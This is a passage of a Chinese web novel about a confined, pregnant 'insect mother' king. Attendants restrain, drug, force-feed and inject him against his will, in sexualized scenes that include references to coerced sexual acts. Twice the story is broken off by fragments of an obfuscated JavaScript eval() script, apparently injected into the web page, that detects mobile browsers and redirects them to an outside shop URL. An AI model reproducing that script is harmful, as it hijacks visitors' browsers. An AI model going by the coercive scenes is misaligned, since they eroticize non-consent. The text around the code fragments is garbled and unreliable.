他吃得很慢,姿态慵懒,像是在消磨时间。 每吃一片,脚边的雄虫们就跟着咽一次口水,那些眼神黏在他唇边、指尖、喉结上,黏在他每一次吞咽时微微起伏的小腹上。 阿斯兰吃完最后一片星果,端起温水抿了一口。 “饱了。”他说。 跪着的雄虫们面面相觑,不甘心地散开,回到各自的席位。 阿斯兰靠在王座上,百无聊赖地看着宴会厅里的觥筹交错。 穹顶的星光洒落,将一切都镀上一层冷白色的光晕。 有人在跳舞,有人在交谈,有人举着酒杯穿梭于席位之间,进行着那些永远不会结束的政治社交。 一切都那么无聊。 孕囊里的虫卵动了动,像是感应到他的情绪,轻轻翻了个身。 阿斯兰低头看了一眼自己的小腹,忽然想起很久以前的事。 那时候他还不叫阿斯兰。 那时候他还很小,很小,小到可以蜷缩在试验场的培养皿里,被温暖的营养液包裹着,半梦半醒。 那是斐涅尔人还被称为“虫族”的时代。 他们生活在试验场里。 那是一个巨大的、封闭的、与外界隔绝的人造生态圈,人类称他们为“实验体”,用编号标记他们,观察他们,记录他们的生长、繁衍、厮杀。 那时候他们是真正的虫族,六条腿,复眼,坚硬的外骨骼,能在真空中短暂生存的强悍躯体。 阿斯兰是那批实验体里最小的一个。 他不记得自己是怎么出生的,只记得睁开眼睛的时候,周围是无数和他相似的虫,有的大,有的小,有的强壮,有的虚弱,有的已经死了,尸体漂浮在营养液里,被缓慢地分解吸收。 这是虫族的法则,强的吃弱的,大的吃小,活着的吃死了的。 但他没有吃。 他只是蜷缩在培养皿的角落里,看着那些比他大的虫互相撕咬,看着营养液被血染红,看着尸体沉到最底层,变成其他虫的食物。 “那只小的怎么不吃?” 有人类的观察员在透明穹顶外记录着什么。 他是虫巢里最小的那只。 复眼比别的幼虫大一圈,圆滚滚的,黑亮亮的,每次他们巡视巢室时,他都会趴在巢室边缘,用那对大眼睛眼巴巴地望着他们。 “这只幼虫真可爱,将来也许能养得特别漂亮。” “但是有基因缺陷,太弱了,活不过下一轮筛选。” “可惜了,长得还挺好看的。” 那时候的他确实很可爱——至少按人类的审美标准。 他的体型比同龄虫小一圈,绒毛是浅银色的,软软的,贴在身上像一层薄薄的霜。 他的复眼比别的虫大一些,黑漆漆的,湿漉漉的,看人的时候像两颗浸在水里的黑葡萄,他的触须也是细细的,短短的,总是垂着,偶尔轻轻颤一下,像在害羞。 他不争不抢,不撕咬不厮杀,只是蜷在角落里,安安静静地活着。 每一天他都什么不用做,只需要吃,睡,长大,然后继续吃,继续睡,继续长大。 观察员们给他取了个编号:F-017。 “F-017,又活过一轮了。” “奇迹啊,那批就剩他一个了。” “要不要提前提取?他的基因序列有点意思,那种温顺的特质,说不定能培育出新品种。” “再观察观察。” 他们观察了很久,久到阿斯兰慢慢长大,开始学会观察那些观察他的人,发现透明穹顶外的世界比培养皿里的世界更大更亮,更美好。 后来,试验场大爆炸发生了。 阿斯兰不记得爆炸的具体细节,只记得那一瞬间的光——白得刺眼,亮得灼人,像是有人把一颗太阳塞进了试验场里。 然后是混乱,是尖叫,是无数虫族在光中挣扎、扭曲、融化。 再然后,他醒过来的时候,一切都不一样了。 他们不再是“虫族”了。 那场爆炸改变了他们的基因序列,剥离了他们原始的虫族形态,将他们改造成了近似人类的样子。 他们不再有六条腿和复眼,而是有了躯干四肢,有了皮肤,有了直立行走的骨骼,和可以流泪的眼睛。 他们成了“斐涅尔人”。 斐涅尔,在虫族古语里是“新生”的意思。 阿斯兰从培养皿里爬出来,第一次用自己的双腿站立,第一次用自己的手触摸自己的脸。 他的皮肤是苍白的,像从未见过阳光。 他的头发是银白色的,长及脚踝,柔软得像一匹绸缎。 “F-017,”有人在他身后说,“从今天起,你有名字了。” 他转过头,那是一个从爆炸中幸存下来的老虫族,他的人类形态苍老而威严,一双眼睛像深不见底的井。 阿斯兰认识他,他是所有虫族里的领袖。 “阿斯兰。”老虫抚摸着阿斯兰的头说,“从今天起,你叫阿斯兰。” “为什么?”阿斯兰跪在地上仰起头,茫然无措地看着他。 “因为你会活得比我们都久。”老虫看着他,“你的眼睛告诉我,你看透了太多东西。” 也因为在无数幸存者中,阿斯兰最聪明、最美丽、最有野心、也最善良。 老虫把王位传给了阿斯兰。 “你的心还是热的,”老虫临死前说,“这是坏事。做王的心要冷,不然你的慈悲最终会害死你。” 就这样,阿斯兰成了王。 然后,他成了虫母。 不是因为他想,而是因为他的基因在那场爆炸后发生了某种异变——他拥有了虫母的一切特征:能分泌王蜜,能孕育后代,能用自己的信息素维系整个族群的精神稳定。 但他产不了卵。 医生们检查了无数遍,得出一致的结论:王的身体在这次进化中出现了偏差,他保留了虫母的功能,却没有继承虫母的完整能力。 可他们还是建立这座金碧辉煌却令人窒息的宫殿,把他关在里面,让他从那只被整个试验场宠爱的幼虫,变成了需要孕育雄虫血脉的虫母。 …… “陛下?” 一个声音将他从回忆中拉回来。 阿斯兰眨了眨眼,发现自己还坐在宴会厅的王座上,面前的酒席已经进行到一半,有人在跳舞,有人在交谈,有人时不时抬头看他一眼,目光在他小腹上停留片刻,然后若无其事地移开。 “陛下,您看起来有些疲惫。”他的贴身侍卫梅利亚站在他身侧,微微躬身,“您要不要先回寝殿休息?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248830|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿斯兰没有回答,他站起来,宴会厅里的声音又停了一瞬,所有人都看向他。 “我想出去走走。”阿斯兰说。 王座之下,赫里安的眉头动了动:“陛下想散步?臣可以陪您去花园。” “不是花园,我要出宫。” 安静。 “陛下,”赫里安的声音依然平稳,但阿斯兰听出了平稳之下的紧绷,“您说的是出宫?” “对。”阿斯兰向外走去,“去王都街上走走,看看夜景,看看我的子民怎么生活。” 他走了几步,发现身后没有人跟上来。 他转过头。 赫里安站在原地,脸色复杂。 其他雄虫也都站着,表情各异,有人震惊,有人惶恐,就是没人跟上来。 “陛下,”赫里安深吸一口气,“现在已是深夜,王都虽然安全,但您……” “但我怎么了?” “您孕中不方便。”赫里安的目光落在他的小腹上,停了一瞬,“而且没有护卫随行,太危险了。” “那就带护卫。” “陛下——” “那就多带护卫。” “陛下!”赫里安的声音第一次失了平稳,“请您听臣一句劝。” 阿斯兰停下脚步,他转过身,看着赫里安,看着那些脸色各异的雄虫,看着整个宴会厅里黑压压的人群。 “你们不想让我出去。”他沉下语气说。 赫里安垂下眼:“这是为陛下的孕期安全考虑,请您别任性。” “孕期安全?”阿斯兰嘴角弯了弯,弧度浅得几乎看不见,“我在自己的王都里,在自己的子民中间,都不算安全?别忘了,是你们逼我怀孕的!” 没有人回答。 阿斯兰扫视一圈,目光从一张张脸上掠过,此刻它们都挂着同样的表情:不赞同。 “为什么?”阿斯兰问,声音平静得可怕,“我是虫母,是这个帝国的王,你们谁没吃过我的蜜?我想去哪里,还需要谁的允许?” “您不需要任何人的允许。”赫里安的声音更低,“但您需要为这颗卵负责,需要为您的安全负责,需要为整个帝国的稳定负责,而所有这些,都要求您待在这座宫殿里,待在所有人的视线里。” “陛下,”有人站出来,是第二军团的军团长,“王都虽然安全,但近日有情报显示,边缘星域的反对势力可能派遣雇佣兵潜入,您若是在此时出宫,万一有个闪失,整个族群都会——” “整个族群都会怎样?”阿斯兰打断他,“都会因为没有王蜜而疯狂?都会因为没有虫母而崩溃?都会陷入内乱和战争?” 二军团长哑然。 阿斯兰看向赫里安:“你呢?你也这么想?” 赫里安沉默了几秒,然后抬起头。 “陛下,”他的声音很低,“臣求您。” 阿斯兰看着他。 这是赫里安第一次用“求”这个字。 他们相识七年,共事七年,赫里安在他面前永远保持着一份克制的距离,用理智和冷静包裹自己的心情,从不让情绪外露。 但现在,他说“求”。 阿斯兰想,也许他们只是不敢让他出去。 不敢让他接触外面的世界,不敢让他看见那些不受他们控制的子民,不敢让他知道在他的王都里,有多少斐涅尔人正用不同的眼光看他。 他太重要了。 重要到他们不敢冒任何风险。 重要到他们宁愿把他锁在这座华丽的囚笼里,也不愿让他踏出一步。 阿斯兰没有愤怒,他只是觉得很累。 “好。”他说。 赫里安愣住:“陛下?” “我说好。”阿斯兰转过身,向宴会厅外走去,“不出宫,不去街上,不看夜景,不看子民,就待在寝殿里,待在这座笼子里,乖乖地怀孕,乖乖地生产,乖乖地给你们提供蜜和信息素。” 他的声音很淡,淡得像一阵风,飘回来,落在每个人耳中。 “你们满意了吗?” 所有斐涅尔人单膝跪地,高呼:“母亲,陛下。” 阿斯兰走出宴会厅,他前后左右都是卫兵,廊道每隔十步就有侍从跪迎,他们用最严密的防护,防止虫母离开宫殿。 身后传来脚步声,是赫里安。 “陛下——” “别跟过来。”阿斯兰没有回头,“让我一个人待会儿。” 脚步声停了,阿斯兰继续向前走,回到寝殿。 虫母的床铺柔软,被褥温暖,熏香袅袅。 这是整个帝国最舒适的地方,是无数雄虫梦寐以求的地方,是他们用尽一切手段想要踏足的地方。 阿斯兰站在寝殿中央,看着床,看着那些华丽的陈设,最后抬手,按上那处隆起。 “你知道吗,”他轻声说,“我小时候,可以在试验场里到处跑。” 虫卵不动了,像是在听。 “那时候没有人管我,我想去哪儿就去哪儿,想爬多高就爬多高,有一次我爬到试验场最高的地方,趴在那块透明的穹顶上,往外看。” “外面是蓝色的。天是蓝的,远处有一大片更蓝的东西,后来我才知道那叫海。还有白色的东西飘在天上,很慢,很轻,叫云。” “那时候我想,如果我能从试验场出去,一定要去那片蓝色的地方看看。” 他的手指抚过孕肚,轻轻地,慢慢地。 “后来我真的出来了,我成了王,成了虫母,也成了这座笼子里的金丝雀。” 他笑了一下,“你比我幸运,因为在你出生之前,我会想方设法杀了你,避免痛苦的发生。” 6. 第 6 章 囚禁生活刚开始,阿斯兰转身才在榻边坐下,门外就传来嗡嗡的叩击声。 “陛下,孕期检查时间到了。”梅利亚的声音隔着门传来。 阿斯兰没有拒绝,拒绝也没有意义。 门开了,进来的并非只有梅利亚,十位身着银灰色生物材质制服的蜂巢哺育员跟在他身后,他们正是“蜂群”,也是虫母专属医疗团队的核心成员。 他们的外表无疑是英俊的,符合斐涅尔人对完美进化形态的审美:高挑、匀称、五官深邃。 但他们的眼瞳在光线下折射出复眼的细微棱面,脖颈与手背的皮肤下隐约可见纹路;手腕有三对柔韧透明末端带着吸盘的触腕,此刻正温顺地垂在身侧。 那些特征暴露了他们的虫族本质。 粗鲁的、暴虐的虫族。 为首的医疗官拉诺微微躬身,触腕优雅地交叠胸前:“陛下,请允许我们进行今日的孕育体评估,您的能量摄取连续三日低于标准值,这会让孩子不安。” “我不需要检查。”阿斯兰的声音很冷。 梅利亚站在门边,阴影遮住了他大半张脸:“陛下,这是为了您的健康。” “是为了我,还是为了我肚子里的东西?” 拉诺飞上前,另外两名医疗官默契地分列左右。 “妈妈,您好甜,比我们想象中还要甜,请您别担心,我们会安抚您。” 他们释放出蜂群特有的安抚信息素,模仿虫母在巢穴中感到安全时的气息,试图降低虫母的警惕, 阿斯兰感到一阵眩晕,他的身体背叛了他的意志,在信息素的诱导下,他的肌肉微微放松,抗拒的念头变得模糊。 这是虫母生理结构决定的弱点,他对族群信息素有天然依赖与反应,他会变得软绵绵的没有力气,神情也变得温顺起来。 “请您躺下,母亲。”拉诺托着阿斯兰的头,手指间缠绕着他的丝丝白发,声音低柔如吟唱,“让我们看看孩子是否安好。” 阿斯兰知道自己逃不掉,他缓慢向后仰躺,银白长发在深色丝绒上铺开如月光下的溪流。 礼服的前襟被拉诺用一根触腕的尖端轻轻挑开,露出圆润高耸的孕肚。 此时,肚皮的皮肤已经被撑得薄而透亮,能看见底下青紫色的血管脉络。 短短四五天,已经如此浑圆。 “妈妈快要生宝宝了,好可爱的孕肚,像一颗珍珠。” 蜂族医疗官上前,他的触腕从腕部延伸出来,如最柔软的探查仪器,轻轻贴附在阿斯兰腹部的皮肤上:“妈妈,放松,把您的身体交给我。” 触腕末端分泌出冰凉透明的凝胶,随即,凝胶下方探出无数比发丝更细的纤毛,无声刺入孕肚的表皮。 阿斯兰身体一僵,并不很痛,更像无数细针同时轻刺,紧接着是诡异的连接感。 他能“感觉”到那些纤毛在探查,在收集数据,甚至在向他的肚子里注入微量的营养液和激素。 “胚胎活性稳定,但能量储备库处于警戒阈值。” 医疗官复眼闪烁,读取着通过神经连接直接反馈的数据,“母体供能不足。妈妈,您今天几乎没有进食,这是不对的,您的身体和孕囊一样要紧。” “我不饿。”阿斯兰闭上眼。 “但孩子们饿。”拉诺的声音更低沉,有着不容置疑的权威,“您腹中只有一枚克隆卵正在发育,但这也是族群未来的希望,需要您充沛的能量转化。您摄入不足,它就会汲取您的生命本源。” 拉诺的触腕轻轻抚过阿斯兰汗湿的额角,动作怜爱,却带着绝对的掌控欲望:“母亲,我们舍不得您用心血供养它。” “而且,它是莱昂军团长的血脉,整个族群都在等待这位新生的战士。您忍心让它先天不足吗?” “我忍心啊。” 阿斯兰睁开眼,直视拉诺那双非人的多面复眼,冷淡地说:“我巴不得它消失,死去,我才不想怀孕。” 房间瞬间寂静,信息素的味道变得悲伤了一些。 “妈妈,您是在责怪莱昂军团长吗?” 梅利亚向前走了一步,但拉诺抬手制止了他。 拉诺的脸上没有怒意,反而浮现出一种仿佛看着不懂事孩童的怜悯神情。 “我们知道您累,母亲,莱昂一定塞得您很辛苦,他的虫卵太大了,您的尾巴还不够成熟,而且尚未生产过,窄涩又可怜,您要对着镜子看看吗?” “闭嘴!我让你闭嘴!”阿斯兰怒道。 “好的,妈妈。”拉诺的声音更加柔和,触腕开始游走,一根轻绕上阿斯兰的手腕,另外两根则小心地固定住他的肩膀。 “但是,孕育是您的天职,也是您身为斐涅尔王的荣耀。” “来,让我们帮您的尾巴做一些孕期护理,扩一扩有助于生产顺利。” 拉诺抬手,医疗官即刻转身,从随身携带的低温储存箱中取出一个透明的卵形容器。 里面盛放着粘稠的金色物质,那是极高浓度的合成营养膏,混合了王蜜、稀有星兽骨髓萃取物以及多种催化激素,专门为孕育期的虫母调配。 盖子打开,一股浓烈到令人作呕的甜香弥漫开来。 阿斯兰胃部一阵抽搐,本能地扭开头。 “拿走……滚开……别给我吃……” 拉诺已经捧着一个琉璃碗,用勺舀起一勺膏体,递到阿斯兰唇边。“就吃一点,母亲,为了孩子们。” 阿斯兰紧抿双唇。 拉诺叹了口气,那叹息里充满了无奈:“母亲,您总是这样让我们担心。” 他俯下身,脸凑得极近,阿斯兰能看清他虹膜里细微的六边形结构:“您知道的,我们总有办法,如果您不配合,那我只能用自己的尾钩来帮您扩了。” 他的触腕微微收紧。 阿斯兰瞪着他:“你敢?” 医疗官的触腕固定住了阿斯兰的下颌,看着那双红润的眼角,一些香味似乎顺着他的眼泪散发出来了,好香,好甜:“您想要我们来插吗?” 阿斯兰显然不愿意,他微微呼吸着,那两个医疗官甚至凑到他嘴唇闻,“甜……好甜……妈妈好可爱……” “好美……想吃妈妈的口水……” “好了,妈妈只有一个,我们要爱护他。”拉诺放下容器,用自己灵活如手指的触腕尖端,蘸取了一点营养膏,直接抹在阿斯兰的唇缝上:“妈妈,张嘴巴。” 这东西甜腻到发苦的味道瞬间侵入感官,阿斯兰挣扎起来,但三人的触腕像最坚韧的生物枷锁,将他牢牢固定在床榻上。 他的力量在蜂群面前微不足道:“别碰我!” “别这样,妈妈,乖乖的,张嘴,”拉诺低声哄诱,他的气息拂在阿斯兰脸上,“您看,我们都为您准备好了。温度刚好,不会烫着您。” 阿斯兰死死咬紧牙关,然而金色的膏体从他殷红的柔嫩唇角慢慢溢出,香气四溢。 拉诺的眼神暗了暗。 “那么,我就只能……” 蜂虫直接低头,用自己的口器覆上了阿斯兰的嘴唇。 阿斯兰惊愕地睁大眼。 蜂族常年负责给雄虫们培育克隆的卵,他们很擅长带孩子,但是阿斯兰肚子里这个虫卵不论是出身还是环境,都称得上虫族第一流,所以他们的照顾也很小心。 蜂族的口器不锋利,而且布满了柔软的细毛,拉诺慢慢地将那团粘腻的膏体推进了阿斯兰的喉管。 与此同时,一股带着强烈催眠效果的信息素从拉诺的腺体直接释放,冲入阿斯兰的口腔和鼻腔。 “唔……”阿斯兰反射性地想吐出去:“呕……” 但拉诺没有离开,他用触腕缠紧了阿斯兰的咽喉,轻柔却有效地抑制了呕吐反射。 另外两位医疗官用的温柔语调继续哄劝: “咽下去吧,妈妈,孩子在等着呢,您能感觉到它饿了对吗?” “您吃下去就好了,吃完您就可以休息了,我们会陪着您,知道您完成这一次的生产。” 工蜂们展开畅想。 “下一次生产会是什么时候?您的孕囊是不可以空下来的。” “妈妈就是要不停地生虫崽,这是母爱的伟大,您的孕囊就是未来的虫巢,尽管它现在什么都孕育不出来。” 生理的本能在信息素和窒息感的双重逼迫下屈服,阿斯兰的喉头滚动了一下,那团冰凉粘稠的物体滑入了食道。 胃部立刻传来沉重的不适感。 拉诺终于退开少许,唇边还沾着一点金色的痕迹。 他微笑着,用拇指指腹擦去阿斯兰嘴角的残留:“看,妈妈,这不难,对吗?只要您乖一些,这就不痛苦。” 不等阿斯兰喘息,第二勺已经递到。 这次是左边的医疗官如法炮制,低头用口器封住了阿斯兰的嘴唇。 阿斯兰拼命摇头,右边医疗官触腕却固定着他的头颅,强迫他接受这令人作呕的哺育。 一勺,又一勺。 每一次喂食都伴随着甜蜜的哄劝和生理的压制。 阿斯兰的反抗越来越微弱,信息素和强制喂食带来的晕眩感淹没了他。 他被迫吞咽着那些并非为他准备的,而是为他腹中孩子准备的能量。 他能感觉到,随着那些高浓度营养膏下肚,一股灼热迅速从胃部扩散开,涌向四肢百骸,最终汇聚到腹部。 皮肤下的蠕动变得更加明显、更加活跃。 他的肚子,以肉眼可见的速度,开始鼓胀起来。 原本只是圆润的弧形,渐渐变得紧绷、突出,像一颗被迅速吹胀的气球。 皮肤被撑得更加透明,血管清晰可见,肚脐都被顶得微微凸起。 腹部的重量急剧增加,沉甸甸地压迫着内脏和脊椎,让他呼吸都开始困难。 “够了……停……”阿斯兰的声音破碎不堪,带着他自己都未曾察觉的呜咽。 “还差一点,母亲,最后一点。”拉诺的声音仿佛从天边传来,他亲自捧起了那个容器,里面还剩小半碗膏体,“要把能量库补充到安全线以上才行。” 最后的膏体被右边的医疗官口器直接灌入。 阿斯兰已经无力挣扎,只能被动地承受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248831|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那滚烫的物质涌入胃里。 很快,他的腹部高高隆起,像一个熟透到极致,即将爆裂的果实,紧绷的皮肤甚至泛出莹润的光泽,每一次微弱的胎动,现在都像波浪在皮下翻滚。 蜂群的三位医疗官终于退开,触腕收回,恭敬地垂在身侧。 他们看着阿斯兰此刻的样子,银发散乱,衣衫不整,腹部隆起,胸口因呼吸急促而剧烈起伏,眼角有着生理性泪水的湿痕。 他们的眼神中充满了满足与痴迷,仿佛艺术家欣赏自己最完美的作品,又像信徒瞻仰神圣的母亲。 “妈妈,今日的能量补充达标了。”拉诺检查着数据,复眼闪烁,“太好了,胚胎活性显著提升,母体生命体征平稳,我建议,两小时后再补充一次针剂营养,从静脉注射就可以。” 阿斯兰已经无力抵抗了,他死沉沉地躺在床上,低声呢喃:“滚……滚开……我去你们的妈妈……我不要扎针……” “妈妈,别生气,”拉诺细心地为阿斯兰拉好衣襟,遮住那过于触目惊心的腹部,动作温柔,“还是要扎针的,您好好休息,孩子正在茁壮成长,这都是您的功劳。” 阿斯兰瘫软在床榻上,连一根手指都抬不起来。 腹部里的食物沉甸甸地压迫着他,饱胀感带来钝痛和恶心。 他能感觉到里面那些生命在贪婪地吸收、成长,用他的身体作为土壤和温床。 阿斯兰抬起沉重的手臂,手指颤抖着触摸自己滚烫高耸的肚皮。 那里的皮肤薄得像一层纸,底下是旺盛到令他恐惧的生命力。 寝殿的门被轻轻推开一条缝,梅利亚安静静地站在那里,看着床榻上那个隆起的身影,“陛下,缓一缓吧,待会有医生来给您注射营养液。” 他拨开三个围绕在阿斯兰身侧的蜂族,手中端着一杯温水。 里面溶解了舒缓神经和促进营养吸收的药剂。 他走到床边,单膝跪下,将水杯轻轻放在床头。 “陛下,”他的声音很低,带着一丝几乎无法察觉的哑,“待会儿,我可能要对您不敬了。” 阿斯兰没有看他,也没有碰那杯水,他只是望着穹顶垂下的华丽纱幔,望着那上面绣着的象征虫族繁衍不息的缠绕藤蔓与虫卵图案。 他的手指,依然轻轻按在沉重如山的腹部上:“你还要……对我做什么?” 梅利亚没有再说话,只是保持着跪姿,沉默地守在一旁,如同过去七年里的每一天一样。 只是这一次,他低垂的眼眸深处,有什么东西在剧烈地挣扎,最终又归于一片沉寂的黑暗。 “我会绑住您的手腕,请您饶恕。” 阿斯兰默默地垂眸看着跪在地上的梅利亚,低声说:“我会杀了你,我要杀了你……” 梅利亚的指尖颤了一下,随即稳稳托起那卷浸泡过药液的丝绳。 绳体冰凉,类似金属——这是虫族工部特制,用以约束在孕期因激素剧烈波动而可能伤害自身或虫卵的阿斯兰。 “我明白。若这是陛下的意愿,待一切结束后,我的性命您随时可以取走。” 梅利亚抬起了头,第一次真正意义上地与阿斯兰对视。 那双总是低垂、温顺的眼眸里,先前剧烈的挣扎已熄灭,取而代之的是一种近乎残忍的清明。 “但在此刻,”梅利亚的声音压得更低,几乎成了气音,“请您容许我履行职责。内阁枢密院和蜂巢的哺育者们就在殿外守候着您,他们需要确保您的第一次孵化万无一失。” 梅利亚终于起身,靠近床榻。 他没有粗暴地拉扯,而是轻柔地用丝绳绕过阿斯兰纤细得与腹部不成比例的手腕,一圈,两圈…… 冰冷的触感紧贴皮肤,与他系绳结的手法熟练而迅速,是一个无法自行挣脱的束缚结。 “七年前,”阿斯兰不再看梅利亚,而是空洞地投向纱幔上那些繁复的虫卵纹样,“我被送进这座宫殿时,手腕上系的是王的金丝带,是你亲手系的。” 他的声音很轻,带着回忆飘忽的质感:“那时你说,愿为您献上所有的忠诚,陛下。” 梅利亚系结的动作僵住了。 阿斯兰的白色长发铺在身下,像月下流淌的水银瀑布,或是冰原上飞扬的雪纱。他在紧张或动情时,发丝会折射出细微流光,在他不开心时,他的白发会苍白枯槁。 阿斯兰转过头,这头总是清冷枯槁的白发汗湿凌乱地贴在额前与颈侧,“梅利亚。” 他眼神锐利如刀,直直刺入梅利亚骤然失守的眼眸深处:“你此刻的忠诚,究竟献给了谁?是献给我,还是献给全体虫族?” 殿外,隐隐传来甲壳轻叩地面的声音,所有人都在等待,等着虫母的孕期养护结果。 梅利亚缓缓地将绳结彻底扣紧。 然后,他俯下身,以一个拥抱的姿势,贴近阿斯兰被束缚的手和隆起的腹部,嘴唇几乎碰到阿斯兰汗湿的耳廓。 “我对您的忠诚,早就和您的自由一起,被葬送了,陛下。” 阿斯兰嗤笑一声,倦怠地闭了闭眼睛:“那你就去死吧。” 7. 第 7 章 阿斯兰不愿再理会梅利亚怎样对待他。 直到先前的三位蜂族医疗官去而复返,拉诺手中捧着卫生托盘,上面整齐排列着三支灌满的注射器,针头细长,锋利尖锐。 阿斯兰看着离他越来越近的针尖,身体本能地开始颤抖,却无法移动分毫。 “陛下,静脉注射营养液,能更快转化为胚胎和母体的能量,您别害怕,很快就结束了。” 拉诺的一根触腕灵巧地卷住了阿斯兰的手臂,寻找着皮下淡青色的血管。 冰凉滑腻的触感让阿斯兰起了一层鸡皮疙瘩。 “别碰我!”阿斯兰的声音低哑,带着濒临崩溃的颤抖。 “很快就好,妈妈。” 另一名医疗官轻轻按住了他的肩膀,复眼中碎镜面般的光芒,“为了宝宝,您要忍耐一下,我们不会碰到您的孕肚。” 针尖轻轻抵上皮肤,然后下陷, 刺痛传来,紧接着是液体被缓慢推入手臂血管的异物感。 “……”阿斯兰闷哼一声。 针管里面是乳白色的营养液,浓稠得就像是不会融化的胶质。 阿斯兰冷着脸,垂下眼睛,任由银白长发遮住半张脸。 那不是普通的营养液,里面混合了蜂族研发的镇静与催化的成分,能给机体带来一股暖流,随着注射迅速扩散至四肢百骸,驱散了部分因强制喂食带来的沉重与恶心,但也带来深深的肌肉无力感。 如果他每天都被扎一针,根本就连站起来的力气都没有,彻底成了被囚禁的虫母。 但是不止一针。 一支,又一支。 每一针都注入他需要“补充”的不同物质。 为了宝宝好?妈妈的职责? 可是阿斯兰此刻被束缚着手脚和尾巴,连自己的孕肚都碰不到。 世界上有这样的妈妈吗? 阿斯兰的呼吸慢慢变得绵长,身体却更加瘫软,仿佛连骨头都被抽走了力气,但是高高隆起的腹部,在药物作用下更加饱满莹润,皮肤下生命的脉动也越发有力。 宝宝确实很喜欢药物营养。 三支针剂入腹,阿斯兰猛地咬牙,腹部烧灼般的胀满感让他本能地蜷缩,却被束缚的手腕限制了动作。 他只能侧过头,将脸埋进枕头里,苍白的后颈不住起伏着,发出野兽般呼噜的声音。 腹中的蠕动骤然剧烈,像是饥饿的幼兽终于得到哺喂,贪婪地攫取着每一分养分。 “虫卵又变大了……”阿斯兰的声音从齿缝里挤出:“涨……肚子被撑得好胀……” “那是孕囊,妈妈,您的肚子并没有太大变化。”梅利亚轻声说,同时,他用消毒凝胶般的物质涂抹过针孔,那些细小的伤口瞬间愈合。 同时,拉诺的触腕抚过他的额角,拭去渗出的冷汗,安慰他:“母亲,孩子在吸收,这说明它很健康。” “闭嘴……”阿斯兰怒道:“可是我不健康!” “您也很健康,您的脸色很漂亮,粉润莹白,像是最美丽的玉珠。” 梅利亚慢慢地解开他腕间的丝绳,阿斯兰的手腕上已经被勒出浅浅的红痕,苍白雪柳般的手臂,有种触目惊心的美丽。 阿斯兰抬起胳膊挡住眼睛,不停地喘息着,忍受孕囊被一点点撑开的折磨。 梅利亚垂眸看了片刻,慢慢地用自己的拇指捏住他的手腕,拿下他的胳膊,动作十分逾矩。 “陛下,孕期卫生至关重要,”他的声音很哑,“您该去沐浴了。” 阿斯兰抬眼淡淡地看着他:“我确实需要洗掉这些脏东西。” “那么,由我来帮助您。”梅利亚伸出自己的触腕,轻柔地探入阿斯兰的腰缝下,将他小心地横抱起来,“您可以搂着我的脖子。” 阿斯兰没抱着他,但是梅利亚仍然小心地搂着虫母的孕肚,把虫母安安稳稳地抱在自己的怀里。 梅利亚不愿意看见虫母失神的眼睛,他怕那种失焦的、失去焦距的美丽双眸,会诱发他内心深处最肮脏的欲望。 每每看到虫母昳丽冷秀的脸,对他说话,对他生气,对他下命令,他就想把虫母按在尾钩上,不管不顾地在虫母的腹中留下自己的卵。 但是他不愿意欺负可爱的妈咪。 所以这么多年,他一直都是这么忍过来的,否则他也不会成为虫巢王宫的总管。 浴池早就备好。 寝殿深处连接着浴池,水温控制在最适合虫母孕期的温度,水面漂浮着萃取自花野平原的舒缓花瓣,蒸汽里弥漫着滋养皮肤的精油药草香。 阿斯兰被梅利亚搀扶着踏入池水时,双腿几乎站立不稳。 过于沉重的腹部改变了他的重心,让他不得不依靠着搀扶者的力量才能缓缓坐入水中。 温热的水流包裹住他沉重不堪的身体,却带来些许浮力,缓解了腹部的压迫感。 水汽氤氲中,阿斯兰浸在乳白色的池水里,疲惫地靠在池边,银白的长发湿漉漉地贴着脖颈和脸颊,更衬得他眉眼清冷如覆寒霜,像散开的月光。 只是眼尾那抹被热气逼出的薄红,泄露了他不平静的心情。 蜂族们早已熟悉虫母身体的每一处细节,每次都动作轻柔却效率奇高。 梅利亚先做前期准备工作。 他的一根触腕灵巧地探入阿斯兰微敞的睡袍前襟——阿斯兰的睡袍都是特制的,以突出和承托巨大孕腹为设计,不管虫母怀孕一颗还是无数颗虫卵,这些睡袍都能将孕肚托起来。 虫族对此早有预期,也预料到虫母怀孕之后行动不便,所以,这种袍子的侧边和腰际有着隐藏的系带与开口,便于穿上或者换下,不会花费虫母太多时间。 尽管虫母从来不需要自己换衣服,无数的虫子盼望着伺候虫母,他们早就争先恐后地服侍上去了。 梅利亚的触腕轻轻一勾、一拉,系带就松开,上袍部分迅速向两侧滑落。 顿时,虫母被温水浸泡得更加饱满莹润的孕肚出现在氤氲的蒸汽灯光下。 哺育蜂们和梅利亚看到虫母怀孕的肚子,眼中浸满了渴望。 “妈妈的身体真是造物的杰作……怎么会有这么完美的艺术品?” 虫母的肚脐已然被顶成一个小小的凸起,睡袍湿透后,勾勒出腹部下方骤然收窄的腰线,在怀孕的肚腹衬托下,满是不盈一握的脆弱感。 这种极致的丰腴与极致的纤细对比,充满了被催熟的艳丽感。 阿斯兰半阖眼睛,但紧接着,羞耻感便汹涌而来。 “我自己可以。” “不,您不方便。”拉诺的触腕已经轻轻托起他一缕湿发,用指腹轻柔地按摩着头皮,“让我们服侍您,母亲。” “母亲,您休息就好。” 两名医疗官也踏入池中,他们用那些看似柔软实则充满力量的触腕,代替了毛巾和刷子,开始为他清洗。 虫族的触腕带着吸盘,末端滑过他的肩颈、后背、腰侧,最后不可避免地流连在那巨大的孕肚上。 